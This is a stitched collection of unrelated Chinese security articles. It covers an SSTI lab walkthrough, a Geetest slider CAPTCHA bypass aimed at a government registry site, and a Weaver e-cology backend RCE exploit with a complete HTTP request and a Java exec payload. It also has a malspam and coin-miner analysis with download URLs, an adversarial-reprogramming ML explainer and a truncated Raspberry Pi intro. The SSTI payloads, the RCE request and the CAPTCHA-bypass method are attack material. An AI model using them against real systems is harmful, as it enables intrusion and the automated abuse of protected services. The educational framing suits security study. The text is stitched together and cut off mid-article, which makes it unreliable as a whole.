如果我们通过查找资料已经找不到有效的攻击手段了怎么办，下一步就是探索环境并尝试发现有权访问的所有对象。很多模板引擎存在如”self”和”environment”之类的对象，该类对象包含该类模板引擎支持的所有对象、方法和属性，利用这些因素可以生成很多意想不到的对象。例如基于Java的模板语言可以使用以下注入列出环境中的所有变量
`${T(java.lang.System).getenv()}`
Burp Pro中的Intruder已经内置了用于暴力破解变量名的词表。
**开发者提供的对象**
有时候网站会包含一些内置的和开发人员定制的对象，这些对象往往可能会暴露一些敏感的方法，还是要借助文档或文章的帮助。并且SSTI也不是总能远程执行命令的，有时候可以进行目录遍历等同样高风险的攻击获取敏感数据的访问权限。
**配套靶场：通过开发者提供的对象利用SSTI触发信息泄漏**
先用fuzz字符串(${{<%[%’”}}%)触发报错判断模板引擎的类型
经过查阅文档得知，有一个内置的模板标签{% debug %}，可以显示调试信息
然后又查阅文档得知，{{settings.SECRET_KEY}}表达式可以查看指定的环境变量
我们就顺利地知道了指定的环境变量值
**构造自定义利用**
有时候通过现有的公开的利用方式无法触发ssti漏洞，比如模板引擎防止在沙箱环境中，此时需要审计每个功能点的可利用性来发现隐藏的漏洞点
**使用对象链构造自定义利用**
通过查阅文档，观察不同对象返回的对象和可用的方法可以构造一条对象引用链，从而发现不易发现的ssti漏洞点，就像反序列化的工具链一样。例如，在基于Java的模板引擎Velocity中，可以访问名为class的ClassTool对象。研究文档表明可以链接class.inspect()方法和class.type属性来获取对任意对象的引用。如下所示
`$class.inspect("java.lang.Runtime").type.getRuntime().exec("bad-stuff-here")`
**配套靶场：在沙箱环境中发动SSTI攻击**
首先我们通过查阅资料知道对象类下面有一个getClass()方法，该方法会返回当前对象的内存管理(runtime)类，然后一路查找下去，可以构造如下利用链
然后我们转一下ASCII就能得到要提交的文件内容了
**使用开发者提供的对象构造对象链**
有时候即使有很多文档，但是没有有效的对象可以用来构造对象链，如果开发者针对当前目标创建了特定的对象，则可以通过不断观察它们并尝试构造漏洞。下面我们通过一道靶场来深入理解。
**配套靶场：自定义利用发动SSTI攻击**
我们看到用户页面有一个功能点使用模板引擎，发现开发者提供的是user对象，现在需要基于user对象来构造漏洞，先看一下上传头像功能点，上传一个无效的图片文件触发报错
从报错信息来看，我们知道有两个文件，一个是/home/carlos/User.php，一个是/home/carlos/avatar_upload.php，前者先不管，后面可能有用，后者中包含User对象的setAvatar方法，这个方法需要两个参数，一个是文件路径，一个是类型，我们知道修改显示名称功能点处有对User对象的控制权，所以我们选择利用这个控制权执行setAvatar方法，将我们想读取的文件读取出来，于是进行如下操作
执行完setAvatar方法后需要刷新一下页面才能在第二个包的响应中看到我们要读取的文件，下面我们用类似的方法读取一下/home/carlos/User.php文件，看看里面有没有可利用的东西
我们找到了这个函数，这个函数可以删除当前设置的头像文件，那么如果我们把头像文件设置为目标文件，则可以利用这个函数删除它。
## 如何缓解SSTI攻击？
避免引入SSTI漏洞的最简单方法之一是始终使用“无逻辑”模板引擎，如Mustache，除非绝对必要。尽可能将逻辑层与渲染层分离，可以大大减少面临最危险的基于模板的攻击的风险。另一种措施是仅在沙盒环境中执行用户的代码，在该环境中，潜在危险的模块和功能已被完全删除。但是沙箱也会存在被绕过的风险。最后，另一种补充方法是通过在封闭的Docker容器中部署模板环境来部署沙箱。
## 总结
以上就是梨子带你刷burpsuite官方网络安全学院靶场(练兵场)系列之高级漏洞篇 –
服务器端模板注入(SSTI)专题的全部内容啦，本专题主要讲了SSTI的形成原理，以及包括探测、识别、利用(阅读、探索、构建自定义攻击)多个步骤讲解如何发现并利用SSTI漏洞，最后介绍了如何缓解这类攻击等，感兴趣的同学可以在评论区进行讨论，嘻嘻嘻。 | 社区文章 |
# **极验验证码破解**
### [国家企业信用信息公示系统为例]
> 一、网站<http://www.*****.cn滑动验证码概述>
> 二、极验验证码破解-抓包分析
> 三、极验验证码破解-搭建本地验证码服务
> 四、极验验证码破解-分析geetest.js，得到所需参数
> 五、极验验证码破解-Track的获取
> 六、极验验证码破解-获取背景图片及缺口距离d的计算
> 七、极验验证码破解-总结
> 参考文献
> 运行截图
* * *
## 一、网站<http://www.******.cn滑动验证码概述>
（对滑动验证码了解的朋友请跳过本章节）
1. 浏览器打开目标站点，将会出现图示搜索框。
2.在搜索框中输入待查询企业名（如：百度），点击查询，将会出现如图所示验证码。
上述滑动验证码即为<http://www.geetest.com/（极验验证）所提供的验证码服务。该滑动验证码号称利用机器学习和神经网络构建线上线下的多重静态、动态防御模型，具体描述可参见http://www.geetest.com/feature.html。>
1. 拖动验证码中的滑块，首先看失败时的效果。
拖动滑块到缺口位置，验证成功效果如下：
4.以上为对目标网站滑动验证码的一些基本描述，下面章节将会详细讲解如何使用计算机程序（爬虫）来对该验证码进行破解。
## 二、极验验证码破解-抓包分析
1. 为了分析服务器如何验证客户端是否成功拖动滑块至缺口（即完成验证），我们启动浏览器（我使用的是360安全浏览器）-工具-开发人员工具（F12），在输入框输入“百度”，点击查询。在开发者工具-Network中，我们可以看到如下数据包。
（PS:若数据包的数量较少，可先启动开发者工具F12，刷新页面）
2.我们象征性的拖动滑块，可以看见Network选项下多出一个数据包 ajax.php?gt=…&challenge=…,如下图所示：
鼠标点击上述数据包，可在右侧查看该数据包的详细信息。点击Response可查看服务器响应信息，如下所示：
显然，服务器返回该验证码验证失败：fail。
3.为了查看验证成功时的服务器响应信息，我们拖动滑块至缺口处，已同样方式查看最新的ajax.php页面，我们发现此时ajax.php？数据包的Response变为如下信息：
有上述可知，当服务器检测到客户端验证成功时，返回validate(可看作是一串长字符串密码)和其他success信息。
（PS：为防止验证成功时页面快速切换至查询结果页面，可在Network选项卡下将Preserve log选项勾选，如下图所示：）
4.当验证成功时，页面跳转至查询结果页面，如下所示：
通过分析Network下的数据包可以发现，在最新的验证成功的ajax.php？数据包下面，有一个crop-query-search-1.html数据包，如下所示：
通过查看该项的Response，我们可以发现，该Response的内容即为浏览器页面上展示的内容，亦即我们所需爬取的内容。
为了获取该Response内容，我们将模拟请求该url,我们查看该请求的头部headers信息，如下所示：
从Headers中我们发现，该请求为POST请求，同时发送Form Data给服务器。接下来我们将分析该Form
Data是如何得到的，其中geetest_challenge和geetest_validate是关键信息，geetest_seccode是由geetest_validate后加上“|jordan”。Form
Data相当于密码，浏览器通过向服务器请求页面，并发送Form Data，服务器端验证该密码正确，将返回页面信息。
接下来我们将逆向探索如何得到geetest_challenge和geetest_validate。（实验证明：tab可为空或’ent_tab’，不影响结果，token可设一相同长度的随机数，不影响结果，searchword为查询关键词）
5.回忆上述3中验证成功时，ajax.php?的Response信息可知，validate的值是由该请求获得。
我们将模拟该请求，以获得validate信息，构造geetest_validate和geetest_seccode。
6.为了模拟请求ajax.php?，我们查看该数据包的Headers信息：
从上图可以看出，此请求附带7个参数。首先，我们可以大胆猜测passtime应该是拖动验证码的时间，imgload应该是验证码图片载入时间，callback应该是“geetest_”+当前时间的时间戳，如下：
关于passtime，我们知道验证码图片在不同的机器上受网速影响，加载时间是不同的，因此该项可暂考虑设为一个0-1000ms的随机数或固定值。
7.我们知道极验验证是根据用户拖动鼠标的轨迹来判断是人为操作还是机器的。Userresponse和imgload从参数名上可猜测是跟拖动滑块的轨迹（用户行为）来生成的。参数a最为复杂，我们先看gt和challenge是如何生成的。
8.分析Network下的数据包（ajax.php？之前的包），我们发现除去一些css、png等无关紧要的东西外，有个get.php?gt=…还是挺显眼的，大胆点进去，如下：
从该数据包的Response中可以发现，"gt": …，对比发现，这就是我们要的gt啊啊啊!
“fullbg”也暗示着我们，它表示验证码的背景图片。此时，可以感觉到该Response的信息量之大，继续往后查看，可以发现：
“challenge”出现了，对比发现，这也是我们要的challenge！！！
9.为了得到上述大量信息，我们模拟请求get.php?，查看该包的Headers如下：
我们发现，该请求的参数还有一个gt和challenge(真实一个接着一个…)。除了gt和challenge,其它6个参数看起来没什么价值，可直接保留，我们来分析gt和challenge的生成。
继续查看Network中的数据包（get.php?之前的），我们可以发现SearchItemCaptcha?v=…这个包的Response如下：
惊呆.jpg！比较发现这里的gt和challenge就是我们需要的值。双击
以打开页面，刷新发现每次页面展示的返回值中challenge都在变化。这是因为该api的参数v是根据请求时间动态变化的，因此我们也可以将v设为当前时间的时间戳。
10.OK！至此我们可以按照SearchItemCaptcha?v=… get.php? ajax.php？crop-query-search-1.html的顺序请求数据。关键问题是如何构造ajax.php？参数中的userresponse、passtime和a。passtime从名称可以看出是拖动滑块的时间，userresponse和a应该是根据拖动滑块的轨迹进行加密的。接下来我们将在本地搭建一个简易的web
server，修改相关js源码，使得拖动滑块时输出鼠标轨迹信息Track。并分析js源码，找出根据Track得到的userresponse和a的算法。
## 三、极验验证码破解-搭建本地验证码服务
1. <https://github.com/GeeTeam/gt-python-sdk从上述链接下载SDK并按教程安装。>
2.打开static/index.html。
可以发现，该页面请求的gt.js是来自geetest远程服务器的。我们要想修改js源码，打印相关信息，必须使得请求的js来自本地，因此我们搭建简单的文件服务器。
3.<https://pan.baidu.com/s/1c26btBE从上述链接下载HFS软件。运行软件，按图示搭建文件夹（所需文件从Network下载）：>
修改index.html中gt.js的来源，如下所示（地址为hfs的地址）：
从<http://1ocalhost:8000/下抓包发现，gt.js的确来自本地hfs：>
4.打开gt.js。
我们发现geetest.js是由gt.js调用，修改static_server为本地地址：
抓包发现，geetest.js的确来自本地hfs:
（ps.图片等其他本地没有的资源将会继续请求源服务器）。
至此，我们已搭建好本地验证码服务，下面我们将分析geetest.js,找出相关参数userresponse和a的加密过程。 | 社区文章 |
某应用存在后台RCE，根据相关信息，我们在对后台审计过程，这里发现一处调用newInstance实例化
溯源找到InterfaceRegisterCustomOperationCmd #excute
访问路径为 /api/integration/workflowflow/getInterfaceRegisterCustomOperation
getInterfaceRegisterCustomOperation调用了execute，首先判断了用户，所以这里是后台漏洞
因为我们需要这个污点函数JavaCodeToObject，所以要满足if的条件并且控制var18和var20
这里var14要为add
var14的值是从请求参数method取得，因为前面是指定POST方法所以这里`method=add`
进入if判断后var15的值如果为空就会return掉，所以这里`actionid`的值不为空就好，结合上面的条件就是`method=add&actionid=1`
这里var18的开头如果不是`weaver.interfaces.workflow.action.javacode.Action`将会进入下面的判断导致抛出异常，达不到我们想要的结果，所以这里`classname=weaver.interfaces.workflow.action.javacode.Action`，结合上面的参数`method=add&actionid=1classname=weaver.interfaces.workflow.action.javacode.Action`
下面var20值取自javacode参数，结合上面payload为`method=add&actionid=1&classname=weaver.interfaces.workflow.action.javacode.Action&javacode=`
if如果var18包含`weaver.interfaces.workflow.action.javacode`进入我们想要的javacodetoobject调用，所以`classname=weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode.Action`两个条件用.连接否则会报加载异常
根据上面的条件都已满足var18和var20条件，构造var20的参数为 `javacode=package
weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode;
import java.io.IOException; public class test { static { try {
Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) {
e.printStackTrace(); } } }`这里将命令执行的代码放在静态代码块是因为实例化的时候会自动执行static中的代码，达到命令执行
实际发包好像没有利用成功，回头看一下代码 发现丢了个参数 dtinfo_CustomParameterData
POST /api/integration/workflowflow/getInterfaceRegisterCustomOperation HTTP/1.1
Host:
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Edg/105.0.1343.33
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: ecology_JSessionid=aaa8G6PRBnnBD82yi6Fky; JSESSIONID=aaa8G6PRBnnBD82yi6Fky; __randcode__=d2fa15e2-395e-4b3b-a004-82fc07c18695; loginidweaver=1; languageidweaver=7; loginuuids=1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 548
method=add&actionid=1&classname=weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode.Test&dtinfo_CustomParameterData=11&javaCode=package weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode;
import java.io.IOException;
public class Test {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
} | 社区文章 |
# 一种传播挖矿脚本的恶意垃圾邮件分析
|
##### 译文声明
本文是翻译文章，文章来源：https://isc.sans.edu
原文地址：<https://isc.sans.edu/forums/diary/Malspam%20pushing%20coin%20miner%20and%20other%20malware/23749/>
译文仅供参考，具体内容表达以及含义原文为准。
## 简介
今天早些时候，[@ killamjr](https://twitter.com/killamjr)发现以下的SHA256哈希文件：
• [4412d28a156716d16eb684ea4699a69f06f0346d99c23cd84065433252f02b99
/](https://www.virustotal.com/#/file/4412d28a156716d16eb684ea4699a69f06f0346d99c23cd84065433252f02b99/)
是一个JavaScript下载器，它起源于带有zip附件的malspam。经过进一步调查，malspam在最终边界标记中出现错误，所以附件在电子邮件客户端中不能正确显示，直到我将其修复成为正常文件为止。
今天的文章内容是malspam和相关的感染流量。
**malspam和附件**
如上图所示：这封电子邮件中的邮件示例。
这些电子邮件没有消息文本，只包含一个附加的zip压缩文件。该zip存档包含一个JavaScript（.js）文件。解压缩并双击易受攻击的Windows主机时，.js文件会导致Windows脚本主机下载并安装恶意软件。
我的实验室主机也受感染，变成了malspambot，并发送了类似的消息。以下是我从受感染的实验室主机处看到的20个发件人和主题行的示例：
• From: Aida Davis [[email protected]](mailto:[email protected]) – Subject: Is she
hot? Take a look at her
• From: Aida Perez [[email protected]](mailto:[email protected]) – Subject: Keep
this photo private please
• From: Beulah Johnson [[email protected]](mailto:[email protected]) –
Subject: Rate my new photo please
• From: Billie Roberts [[email protected]](mailto:[email protected]) –
Subject: Someone told me it’s you???
• From: Blaine Howard [[email protected]](mailto:[email protected]) – Subject:
Someone takes photos from you
• From: Blair Nelson [[email protected]](mailto:[email protected]) – Subject:
Your best photo
• From: Bob Brooks [[email protected]](mailto:[email protected]) – Subject: Please
rate my picture
• From: Bobbi Bailey [[email protected]](mailto:[email protected]) – Subject:
Damn I can’t get her out my head
• From: Bradford Lewis [[email protected]](mailto:[email protected]) –
Subject: Trumps private photo leaked!
• From: Deanne Thomas [[email protected]](mailto:[email protected]) – Subject:
Is this you?
• From: Debbie Mitchell [[email protected]](mailto:[email protected]) –
Subject: Time for a change
• From: Debora Peterson [[email protected]](mailto:[email protected]) –
Subject: Why you took that picture?!
• From: Deena Cook [[email protected]](mailto:[email protected]) – Subject:
Unbelivable photo
• From: Delia Wright [[email protected]](mailto:[email protected]) – Subject:
Your opinion needed
• From: Goldie Gray [[email protected]](mailto:[email protected]) – Subject:
Photo of my new girlfriend
• From: Gordon Rogers [[email protected]](mailto:[email protected]) – Subject:
Took photo of you
• From: Tania Roberts [[email protected]](mailto:[email protected]) – Subject: I
simply love this photo of you!
• From: Tanner Thomas [[email protected]](mailto:[email protected]) – Subject:
LOL seen this photo?
• From: Tara Wood [[email protected]](mailto:[email protected]) – Subject: My love
for you
• From: Teresa Cook [[email protected]](mailto:[email protected]) – Subject:
My picture
来自我的malspambot的每封邮件都具有相同的zip附件，其中包含相同的.js文件。它有一个不同于我最初感染实验室主机的文件，但它基本上是相同的文件。如上图所示：来自malspam的附件。
**来自受感染实验室主机的流量**
双击.js文件后，我看到了几个针对恶意软件的HTTP请求。其中一个HTTP请求返回了由我新感染的Windows主机发送的来自malspam的附件中使用的.js文件。另一个HTTP请求返回了收件人的邮件列表以发送masepam。
除了TCP端口25上的SMTP流量之外，我还看到了一个Monero硬币采矿机（XMRig）的感染后流量。
在感染实验室主机发送的所有电子邮件末尾，我发现最终边界线上有错误。该行有一个额外的破折号（3个或2个破折号）来关闭消息。这使附件无法读取任何正常的电子邮件客户端。如果该消息将其发送给其预期的收件人，则收件人可能会看到一条空白消息。
如上图所示：Wireshark中感染流量的HTTP请求。如上图所示：Monero硬币矿工的感染后流量。如上图所示：硬币采矿者TCP流量的响应内容之一。如上图所示：过滤SMTP流量以查找欺骗性发送地址。如上图所示：在smtp上进行过滤包含Subject
（区分大小写）显示几封未完全拒绝的电子邮件。如上图所示：在一个malspam消息的TCP流之后。如上图所示：靠近TCP流的底部，您会看到结束边界标记中的错误。
**在受感染的Windows主机上进行取证**
我使用Windows 7主机进行感染流量。当我尝试感染Windows 10主机时，我没有成功。我感染的Windows
7主机有注册表项有恶意软件写入的启动项。其中一个恶意软件二进制文件也被保存到一个USB驱动器中，该驱动器恰好被插入受感染的实验室主机中。
如上图所示：我受感染的Windows 7主机上的注册表项。如上所示：从受感染的Windows 7主机获取的USB拇指驱动器的内容。
## IoC
以下是我分析样本期间发现的IoC：
SHA256
hash：[4412d28a156716d16eb684ea4699a69f06f0346d99c23cd84065433252f02b99](https://www.virustotal.com/#/file/4412d28a156716d16eb684ea4699a69f06f0346d99c23cd84065433252f02b99/)
• 文件大小：26,219字节
• 文件说明：母体文件Original .js
SHA256
hash：[2e5674a738e1409d32a559d4bddcff3243fdf68b4fc4482b29dff38dfa6e3dc1](https://www.virustotal.com/#/file/2e5674a738e1409d32a559d4bddcff3243fdf68b4fc4482b29dff38dfa6e3dc1/)
• 文件大小：26,591字节
• 文件位置：hxxp：//92.63.197.60/d.js
• 文件描述：来自我的malspambot实验室主机发送的来自malspam的恶意JavaScript
SHA256
hash：[3c0fd1377e620229daa0175758112f712f54474db2135c695761afffef6510ea](https://www.virustotal.com/#/file/3c0fd1377e620229daa0175758112f712f54474db2135c695761afffef6510ea/)
• 文件大小：26,733字节
• 文件名：20186425_642590.jpg.zip
• 文件描述：我的malspambot实验室主机发送的masepam中的实际zip附件
SHA256
hash：[1be4cbc9f9b6eea7804e08df92cff7453aa72f0bb862b0fb8f118c5e3ffdaad6](https://www.virustotal.com/#/file/1be4cbc9f9b6eea7804e08df92cff7453aa72f0bb862b0fb8f118c5e3ffdaad6/)
• 文件大小：168,960字节
• 文件位置：hxxp：//92.63.197.60/c.exe
• 文件描述：恶意软件（未指定）
SHA256
hash：[73f0880358701566ed1792014b639c02f357da42981344a6ad644aae494d3e36](https://www.virustotal.com/#/file/73f0880358701566ed1792014b639c02f357da42981344a6ad644aae494d3e36/)
• 文件大小：808,960字节
• 文件位置：hxxp：//92.63.197.60/m.exe
• 文件描述：Cryptocurrency miner（Monero）
SHA256
hash：[fdb9eacca47469ddb1d91694171fb1df8f891fb12a6c6a8184a5def539784cc6](https://www.virustotal.com/#/file/fdb9eacca47469ddb1d91694171fb1df8f891fb12a6c6a8184a5def539784cc6/)
• 文件大小：172,032字节
• 文件位置：hxxp：//92.63.197.60/o.exe
• 文件描述：恶意软件（未指定）
SHA256
hash：[1437e8518c62383d57fd38debdad1a76813c229061d3aa060c2f3151eac41027](https://www.virustotal.com/#/file/1437e8518c62383d57fd38debdad1a76813c229061d3aa060c2f3151eac41027/)
• 文件大小：219,648字节
• 文件位置：hxxp：//92.63.197.60/t.exe
• 文件描述：恶意软件（未指定）
来自感染的网络流量：
• 92.63.197.60通过TCP端口80 – **92.63.197.60** – 跟进恶意软件和其他流量
• 通过TCP端口80 发送198.105.244.228 – **booomaahuuoooapl.ru** –
与92.63.197.60一起尝试下载相同的下载
• 107.391.99.227通过TCP端口3333 – **monerohash.com** – XMRig流量（Monero硬币矿工）
• TCP端口25上的各种IP地址 – 来自我新感染的malspambot主机的SMTP流量
## 最后的话
像往常一样，及时更新Windows最新补丁，从而防止主机受到感染。这些malspam消息中的边界错误可能确保没有预期的收件人甚至看到恶意软件。此外，系统管理员和技术倾斜人员还可以[实施软件限制策略（SRP）](https://technet.microsoft.com/en-us/library/hh831534\(v=ws.11).aspx)或[AppLocker](https://technet.microsoft.com/en-us/library/dd759117\(v=ws.11).aspx)等最佳方法，以防止这些类型的感染。
值得注意的是，这个masspam的电子邮件标题与我在前几个月的“[Zero
Gand](https://isc.sans.edu/forums/diary/Glitch+in+malspam+campaign+temporarily+reduces+spread+of+GandCrab/23547/)”活动中看到的类似。今天的malspam可能使用了与之前早期恶意活动相同的感染渠道。
今天文章中的Pcap和恶意软件样本可以[在这里找到](https://www.malware-traffic-analysis.net/2018/06/08/index.html)。
Brad Duncan
brad [at] malware-traffic-analysis.net | 社区文章 |
# 对抗重编程攻击
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
我们知道深度学习模型容易受到对抗样本攻击，比如在计算机视觉领域，对图像精心设计的扰动可能会导致模型出错。虽然现在对抗样本的研究非常火，但是模型面临的攻击不止有对抗样本攻击。
Goodfellow(是的，就是GAN之父)团队又设计了一种新的攻击范式，叫做adversarial
reprogramming，中文可以叫做对抗重编程。这种攻击范式的目标是对目标模型重新编程，以执行攻击者选定的任务，这种攻击的危害的潜在后果包括窃取MLaaS的计算资源、将人工智能驱动的智能助手当做间谍或垃圾邮件机器人等等，可以重用预训练好的模型来实现攻击者的对抗任务，既然在原理上已经说明这是可行的，那么之后会发展出什么攻击场景、危害行为都是有可能的。
## 对抗重编程
先来看看整个对抗重编程的流程
在a中，我们将imagenet任务的输出标签映射到对抗任务的标签，这里我们给定的对抗任务是计算小图像中的格子数量，所以对抗任务的标签为1~10；在b中，将对抗任务的小图像嵌入到对抗程序的中间，从而得到对抗图像。在c中，当把对抗图像输入分类器时，分类器此时会输出标签tiger
shark,ostrich等，不过由于有hf函数的存在，他们会被映射到对应的4,10等。经过这一套流程，我们对一个在imagenet上训练的分类模型进行了对抗重编程攻击，使它的任务变为数格子。
## 原理
我们设一个经过训练的模型，其原本的任务是，给定输入x，会得到输出f(x)
现在有一个攻击者，其对抗任务是对于给定的输入x~，会得到输出g(x~),这里x~和x不一定需要是同域的。
这看起来是不可行的，但是攻击者通过学习对抗重编程函数hf(.;θ)和hg(.;θ)来实现这两个任务之间的映射。
hf(.;θ)用于将输入从x~所在的域转换到x所在的域，也就是说，经过hf的处理后得到的hf(x~;θ)对于f而言是有效的输入；而hg则将f的输出f(h(x~;θ))映射会g(x~)的输出。这里对抗程序的参数θ会被调整以满足:
这里为了简单起见，我们将x~定义为小图像，g为处理小图像的函数，x为大图像，f为处理大图像的函数。hf函数的作用则是在大图像的中心进行修改，hg则是在输出标签之间一个简单的硬编码的映射函数。事实上，hf
(hg)可以是任何一致的转换，在两个任务的输入(输出)格式之间转换，并让模型执行对抗任务。
在整个攻击中，我们将对抗程序定义为:
其中
是需要学习的对抗程序参数，n是imagenet图像的宽，M是掩码矩阵，对于对抗任务对应的对抗数据的图像位置的值为0，否则为1
上面的式子中我们用了tanh，这是为了将对抗扰动限定在(-1,1)范围内，这与目标模型训练分类的重缩放后的ImageNet图像相同
设
是我们执行对抗任务所用的样本，其中k<n
则是和Imagenet图像同样大小的图像，x~被放置在了通过M定义的合适的区域。
所以对应的对抗图像为：
设P (y|X)为目标模型给定输入图像X，ImageNet图像的标签y∈{1，…， 1000}。我们定义一个硬编码的映射函数hg
(yadv)，它将一个标签从一个对抗任务yadv映射到一组ImageNet标签。例如，如果一个对抗任务有10个不同的类(yadv∈{1，…10},hg(·)可以定义为将ImageNet的前10个类、任何其他10个类或多个ImageNet类映射给对抗标签。
因此，我们的对抗目标是使P (hg (yadv)|Xadv)的概率最大化。我们把最优化问题设为
其中λ是权重范数惩罚项的系数，以减少过拟合。用Adam优化器优化损失。
注意，优化之后，对抗程序对于攻击者而言有最小的对抗损失，因为它只需要计算Xadv，并将得到的ImageNet标签映射到正确的类标签。换句话说，在推理过程中，攻击者只需要存储程序并将其添加到数据中，从而将大部分计算留给目标模型。
这里还有一种需要注意的是，这种攻击方式必须要利用目标模型的非线性行为，这和传统的对抗样本的攻击不同，它们是基于对模型的线性逼近，从而造成高的错误率。假设存在一个线性模型，它接收输入x~以及连接到单个向量x的θ
：
假设线性模型的权重分为两部分，即：
则模型的输出为：
从上式可以看到，对抗程序θ对偏置起作用，但是却没用应用于x~的权重。
因此，对抗程序θ可以使模型始终输出一类或另一类，但不能改变输入x的处理方式。为了实现对抗性重编程，模型必须存在x̃和θ之间的非线性相互作用。而非线性的深度学习模型恰好满足这一点。
## 实验分析
这里为了验证对抗重编程是可行的，设计了三种对抗任务，分别是数格子、MNIST分类和CIFAR10分类
数格子：
正如在对抗重编程的流程图中看到的一样，生成了尺寸为36 × 36 × 3的图像(x̃)，其中包括9 ×
9个带有黑色框架的白色方块。每个正方形可以出现在图像中的16个不同的位置，正方形的数量从1到10。这些方块被随机放置在网格点上。我们将这些图像嵌入到一个对抗程序，得到的图像(Xadv)大小为299
× 299 × 3，中间的方格为36 × 36 ×
3。我们为每个ImageNet模型训练一个对抗程序，使前10个ImageNet标签代表每幅图像中的正方形数量。注意，在ImageNet中使用的标签与新的对抗性任务的标签没有关系。例如，“White
shark”与图像中的3个方块数无关，而“Ostrich”与10个方块一点也不相似。
MNIST分类：
与数格子任务类似，将大小为28 × 28 ×
3的MNIST数字嵌入到对抗程序中，我们将前10个ImageNet标签分配给MNIST数字，并为每个ImageNet模型训练一个对抗程序。下图是应用于每个网络的对抗程序的示例。
CIFAR-10分类：
CIFAR10的处理也与MNIST类似，一些对抗图像的实例如下
我们也可以很直观地看到三个任务对于每个模型训练后生成的对抗程序
实验结果总结在表格里了：
表中第二类是数格子、第三列是MNIST分类，第四列是CIFAR10分类，可以看出对抗重编程的攻击效果还是非常好的。
## 复现
为了直观的理解，会在解释代码的同时打印出对应的变量
相关配置文件
这里的h1,w1是大图像，即imagenet图像的尺寸，h2,w2是对抗任务所用的小图像的尺寸。
初始化掩码，即前面提到的M
使用imagenet标签的前10个作为对抗任务的标签
最关键的是compute_loss函数以及forward函数
compute_loss函数如下
正如前面提到的，这里的损失由两项组成，第一项是正常训练损失，第二项是权重惩罚项，这里用的是l2范数，lmd是系数，已经在配置文件中定义了
forward函数如下
为了方便理解，我们一步步打印出看看
首先是image，也是论文中提到的x~
论文中的X通过代码实现的：
在目标模型上生成的对抗程序，即P
X+P得到对抗图像
训练函数
可以看到self.out是由self.forward返回的，这里就是训练部分。
训练过程运行如图
我们先来看看在原模型上进行测试时的效果
然后是在训练后的模型上测试的效果
可以看到确实成功率提高了不少。
这里的对抗重编程攻击针对的还只是计算机视觉的分类任务，在其他领域的也有研究人员进行了分析，包括参考文献中的2.3对自然语言处理中的应用进行了研究。此外还有研究人员详细分析了对抗重编程可以成功进行攻击的条件以及背后的原因，详见参考文献4.
此外，通过本文的介绍，师傅们应该隐隐约约看出来，这种攻击范式有对抗样本、后门攻击、UAP的影子，这方面的结合点还是很有意思的。
## 参考
1.Elsayed G F, Goodfellow I, Sohl-Dickstein J. Adversarial reprogramming of
neural networks[J]. arXiv preprint arXiv:1806.11146, 2018.
2.Neekhara P, Hussain S, Dubnov S, et al. Adversarial reprogramming of text
classification neural networks[J]. arXiv preprint arXiv:1809.01829, 2018.
3.Hambardzumyan K, Khachatrian H, May J. Warp: Word-level adversarial
reprogramming[J]. arXiv preprint arXiv:2101.00121, 2021.
4.Zheng Y, Feng X, Xia Z, et al. Why Adversarial Reprogramming Works, When It
Fails, and How to Tell the Difference[J]. arXiv preprint arXiv:2108.11673,
2021. | 社区文章 |
# 【技术分享】初玩树莓派B（一） 基本介绍&安装操作系统
|
##### 译文声明
本文是翻译文章，文章来源：IamHuskar@看雪论坛
原文地址：<http://bbs.pediy.com/showthread.php?t=212761>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**传送门**
* * *
[](http://bobao.360.cn/learning/detail/3051.html)
[****](http://bobao.360.cn/learning/detail/3087.html)
[**【技术分享】初玩树莓派B（二） 实用配置(vnc和串口) &GPIO操作点亮LED灯**
****](http://bobao.360.cn/learning/detail/3087.html)
[**【技术分享】初玩树莓派B（三） 控制蜂鸣器演奏乐曲**
****](http://bobao.360.cn/learning/detail/3093.html)
[**【技术分享】初玩树莓派B（四） 人体红外感应报警 &物联网温湿度监控**
****](http://bobao.360.cn/learning/detail/3096.html)
**前言**
之前早就买了一个树莓派B，但是一直没有玩起来。由于以后也准备走嵌入式开发方向。于是先提前把树莓派B玩起来把。
之所以选树莓派是因为国内外玩的人多。中英文资料也很多。为什么不选单片机，单片机可能更多需要了解底层编程，初学者门槛比较高。而对于树莓派来说，不需要对于底层开发或者硬件细节有太多了解，入门门槛较低，可以玩的应用也很多。初玩朋友可以把这个当做一个性能差一点的台式电脑主机，也可以当做性能超强的单片机。
特别提示 ：
本人也是刚刚开始玩，不是老手，所以很多情况下也是一知半解，一半测试，一半当做记录做的这个部分，如果资料中有错误或者其他问题，欢迎大家指出。后续会慢慢更新。有些细节的东西可能由于没有用到就部过多讲了。（真的是慢慢更新，因为我也是边玩边学习边记录）。
**
**
**基本介绍**
树莓派分N多个型号。我买的B型是比较早期的，主频700MHZ（可以超频到1GHZ以上，伤寿命，不建议），512M内存，，VGA，HDMI视频口，以及一个音频口。B版本外接口比较少，USB2个
。GPIO口是26个。目前已经到树莓派3代+，大家要玩可以买最新的，性能更好，接口也更多。具体一些细节可以参看维基
。[https://zh.wikipedia.org/wiki/%E6%A0%91%E8%8E%93%E6%B4%BE](https://zh.wikipedia.org/wiki/%E6%A0%91%E8%8E%93%E6%B4%BE)
图片来源于维基
我初玩购买的设备有：
1 树莓派主机（必备）
2 散热片
3树莓派SD卡和卡套 （其他版本可能不需要卡套，根据需要买卡套）（必备）
4树莓派外壳，保护树莓派
5免驱无线网卡
6 USB转TTL串口调试线
以下是设备以及当时买的价格（现在买最新的型号也比我的便宜）：
**其他类型应用**
